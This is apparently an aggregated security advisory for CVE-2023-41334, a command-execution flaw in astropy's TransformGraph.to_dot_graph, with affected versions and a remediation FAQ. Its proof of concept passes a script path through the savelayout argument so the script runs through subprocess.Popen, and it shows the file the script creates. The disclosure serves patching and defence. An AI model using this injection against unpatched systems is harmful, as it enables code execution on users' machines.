high
8.4
CWE
77 20 74
Advisory Published
Advisory Published
Updated

CVE-2023-41334: astropy vulnerable to RCE in TranformGraph().to_dot_graph function

First published: Mon Mar 18 2024(Updated: )

### Summary RCE due to improper input validation in TranformGraph().to_dot_graph function ### Details Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully. ### PoC ```shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt ``` ```shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from astropy.coordinates.transformations import TransformGraph >>> tg = TransformGraph() >>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph stdout, stderr = proc.communicate(dotgraph) File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate stdout, stderr = self._communicate(input, endtime, timeout) File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate input_view = memoryview(self._input) TypeError: memoryview: a bytes-like object is required, not 'str' >>> ``` ```shell $ cat /tmp/poc.txt astrorce ``` ### Impact code execution on the user's machine

Credit: security-advisories@github.com security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
pip/astropy<5.3.3
5.3.3
IBM Cognos Analytics<=12.0.0-12.0.3
IBM Cognos Analytics<=11.2.0-11.2.4 FP4

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Parent vulnerabilities

(Appears in the following advisories)

Frequently Asked Questions

  • What is the severity of CVE-2023-41334?

    CVE-2023-41334 is classified as a Remote Code Execution (RCE) vulnerability due to improper input validation.

  • How do I fix CVE-2023-41334?

    To remediate CVE-2023-41334, update astropy to version 5.3.3 or later, or apply the recommended patches for affected IBM Cognos Analytics versions.

  • Who is affected by CVE-2023-41334?

    CVE-2023-41334 affects users of the astropy package and specific versions of IBM Cognos Analytics.

  • Can CVE-2023-41334 lead to data breaches?

    Yes, if exploited, CVE-2023-41334 can allow an attacker to execute arbitrary code, potentially leading to data breaches.

  • What systems should be monitored for CVE-2023-41334?

    Systems running vulnerable versions of astropy and IBM Cognos Analytics should be monitored for exploitation attempts related to CVE-2023-41334.

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